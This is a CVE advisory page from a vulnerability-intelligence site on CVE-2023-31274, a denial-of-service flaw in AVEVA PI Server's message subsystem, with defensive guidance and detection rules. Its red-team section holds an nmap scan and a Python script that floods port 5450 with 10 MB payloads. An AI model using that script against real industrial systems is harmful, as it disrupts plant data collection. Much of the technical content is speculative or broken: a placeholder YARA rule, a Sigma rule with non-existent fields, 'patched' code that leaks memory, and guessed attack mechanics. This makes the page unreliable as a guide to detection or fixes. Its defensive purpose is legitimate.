☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-31274

CVE-2023-31274 Denial of Service in Aveva
📅 PUBLISHED: 2024-01-18 17:15 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.50%
👁️
0.50% probability
12.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-31274 is a denial-of-service (DoS) vulnerability in the AVEVA PI Server, specifically affecting the PI Message Subsystem. An unauthenticated attacker can exploit this flaw by sending specially crafted network traffic, causing the subsystem to consume excessive memory. This leads to throttled processing of new PI Data Archive events and a partial denial-of-service condition. The vulnerability affects PI Server versions 2023 and 2018 SP3 P05 and prior. No public exploit code or patch is currently available, but the risk is elevated due to the unauthenticated attack vector and the critical role PI Servers play in industrial control systems (ICS) and operational technology (OT) environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a standalone industrial control system (ICS) product from AVEVA. Supply chain risk is limited to the integrity of the AVEVA PI Server software distribution itself.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
  • Base Score: 5.3 (Medium)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Impact is confined to the vulnerable component.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): Low (L) – Partial denial of service (throttled processing, not full crash).

Threat Level: Medium. While the CVSS score is moderate, the unauthenticated, remote nature of the attack and the criticality of PI Servers in OT environments elevate the real-world risk. An attacker could disrupt real-time data collection and historian services, impacting operational visibility.

Deep Dive & Mechanics

The vulnerability resides in the PI Message Subsystem, a core component responsible for receiving and processing data events from PI Interfaces and other sources. The subsystem uses a memory buffer to queue incoming messages before they are written to the PI Data Archive.

Root Cause: The PI Message Subsystem fails to properly validate or limit the size or rate of incoming network messages from unauthenticated sources. By sending a high volume of specially crafted, oversized, or malformed messages, an attacker can cause the subsystem to allocate an excessive amount of memory.

Attack Flow:

  1. An attacker identifies a reachable AVEVA PI Server (typically on TCP port 5450 for PI Message Subsystem).
  2. The attacker sends a flood of network packets to the PI Message Subsystem. These packets may be crafted to appear as legitimate PI Data Archive events but are designed to maximize memory consumption (e.g., very large payloads, infinite loops in message parsing, or rapid-fire connection requests).
  3. The PI Message Subsystem processes these messages, allocating memory for each one. Due to the lack of proper input validation or rate limiting, the memory usage grows uncontrollably.
  4. As available memory is consumed, the subsystem becomes unable to process legitimate new events. This results in throttled processing, delayed data archiving, and a partial denial-of-service condition. The PI Server itself may not crash, but its core data collection functionality is degraded.

Affected Component: PI Message Subsystem (part of PI Server).

Vulnerable vs. Patched Code

No official patch or patched code is available from AVEVA at this time. The following is a conceptual comparison based on the vulnerability description.

Vulnerable Code (Conceptual C++):

// PI Message Subsystem - Vulnerable message handler
void HandleMessage(NetworkPacket* packet) {
    // No size validation on packet payload
    char* buffer = new char[packet->payloadSize]; // Potential for huge allocation
    memcpy(buffer, packet->payload, packet->payloadSize);
    // ... process message ...
    // No rate limiting or connection throttling
}

Patched Code (Conceptual C++):

// PI Message Subsystem - Patched message handler
#define MAX_MESSAGE_SIZE 1048576 // 1 MB limit
#define MAX_CONNECTIONS_PER_IP 10
#define RATE_LIMIT 100 // messages per second

void HandleMessage(NetworkPacket* packet) {
    // Input validation: check payload size
    if (packet->payloadSize > MAX_MESSAGE_SIZE) {
        LogWarning("Oversized packet rejected from IP: " + packet->sourceIP);
        return;
    }
    // Rate limiting per source IP
    if (GetMessageRate(packet->sourceIP) > RATE_LIMIT) {
        LogWarning("Rate limit exceeded from IP: " + packet->sourceIP);
        return;
    }
    char* buffer = new char[MAX_MESSAGE_SIZE]; // Fixed-size allocation
    memcpy(buffer, packet->payload, min(packet->payloadSize, MAX_MESSAGE_SIZE));
    // ... process message ...
}

Exploitation & Lab Setup

No public exploit code is available. The following is a conceptual lab setup for testing and defense.

Red Team (Simulated Attack)

Objective: Cause a partial denial of service on the PI Message Subsystem.

Lab Environment:

  • Target: AVEVA PI Server 2018 SP3 P05 (or 2023) running on a Windows Server VM.
  • Attacker: Kali Linux VM on the same network.

Attack Steps:

  1. Reconnaissance: Scan for PI Server on port 5450.
    nmap -p 5450 <PI_Server_IP>
    
  2. Craft Malformed Messages: Use a Python script to send a high volume of large or malformed packets to the PI Message Subsystem.
    import socket
    import time
    
    target_ip = "192.168.1.100"
    target_port = 5450
    
    # Craft a large payload (e.g., 10 MB)
    payload = b"A" * 10 * 1024 * 1024
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    
    # Send the payload repeatedly
    for i in range(100):
        try:
            sock.send(payload)
            print(f"Sent packet {i+1}")
        except:
            print("Connection lost or error")
            break
        time.sleep(0.1)
    
    sock.close()
    
  3. Monitor Impact: Observe the PI Server's memory usage via Task Manager or performance counters. Legitimate data collection should slow down or stop.

Blue Team (Detection & Defense)

Objective: Detect and mitigate the attack.

Detection Steps:

  1. Network Monitoring: Monitor for excessive traffic to port 5450 from a single IP address.
  2. Host Monitoring: Track memory usage of the PI Message Subsystem process (PImsg.exe or similar).
  3. Log Analysis: Review PI Server logs for warnings about memory allocation failures or connection throttling.

Mitigation Steps:

  1. Network Segmentation: Restrict access to the PI Server to only trusted IP addresses using firewall rules.
  2. Rate Limiting: Implement network-level rate limiting for traffic to port 5450.
  3. Input Validation: If possible, apply application-layer filtering to reject oversized packets (requires vendor patch or custom proxy).
  4. Monitor & Alert: Set up alerts for high memory usage on the PI Server.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • High volume of TCP traffic to port 5450 from a single or few source IPs.
    • Packets with unusually large payload sizes (e.g., > 1 MB) sent to port 5450.
    • Repeated connection attempts from the same IP to port 5450.
  • Host IOCs:
    • Process PImsg.exe (or equivalent) consuming abnormally high memory (e.g., > 90% of available RAM).
    • PI Server logs containing messages like "Memory allocation failed", "Buffer overflow", or "Connection throttled".
    • System event logs showing low memory conditions or process hangs related to the PI Server.
  • File IOCs:
    • Temporary files in the PI Server installation directory with unusually large sizes (potential memory dumps).

Detection Engineering

YARA Rule

rule CVE_2023_31274_PI_Message_Subsystem_Memory_Exhaustion {
    meta:
        description = "Detects potential exploitation of CVE-2023-31274 by identifying oversized network packets targeting AVEVA PI Server"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-31274"
    strings:
        $pi_header = "PI Message Subsystem" nocase
        $large_payload = { 00 00 00 [4] } // Placeholder for large payload size indicator
    condition:
        $pi_header and #large_payload > 10
}

Sigma Rule

title: CVE-2023-31274 - AVEVA PI Server Memory Exhaustion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic patterns indicative of exploitation of CVE-2023-31274 against AVEVA PI Server
author: Valters IT
date: 2024-01-01
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 5450
        SourceIP|re: '^(\d{1,3}\.){3}\d{1,3}$' # Any IP
        PayloadSize: '> 1048576' # > 1 MB
    condition: selection
falsepositives:
    - Legitimate large data transfers from trusted sources (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 5450 (msg:"CVE-2023-31274 - AVEVA PI Server Memory Exhaustion Attempt"; flow:to_server; content:"|00 00 00|"; depth:4; byte_test:4,>,1048576,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Network Segmentation: Isolate the PI Server on a separate VLAN with strict firewall rules allowing only trusted IPs to access port 5450.
  2. Rate Limiting: Implement network-level rate limiting (e.g., using iptables or a firewall) to restrict the number of connections or packets per second to the PI Server.
  3. Monitor: Enable detailed logging and monitoring of the PI Server's memory usage and network traffic to port 5450.

Long-Term Actions:

  1. Vendor Patch: Monitor AVEVA's security advisories for an official patch. Apply it as soon as it becomes available.
  2. Upgrade: If possible, upgrade to a patched version of PI Server when released.
  3. Input Validation: If a patch is not available, consider deploying a reverse proxy or application-layer firewall that can validate and limit the size of incoming messages to the PI Message Subsystem.
  4. Security Hardening: Follow AVEVA's security best practices for PI Server deployment, including disabling unnecessary services and using strong authentication where possible.

Workaround: Until a patch is available, the primary mitigation is strict network access control. Ensure that only authorized systems can communicate with the PI Server on port 5450.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-31274/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.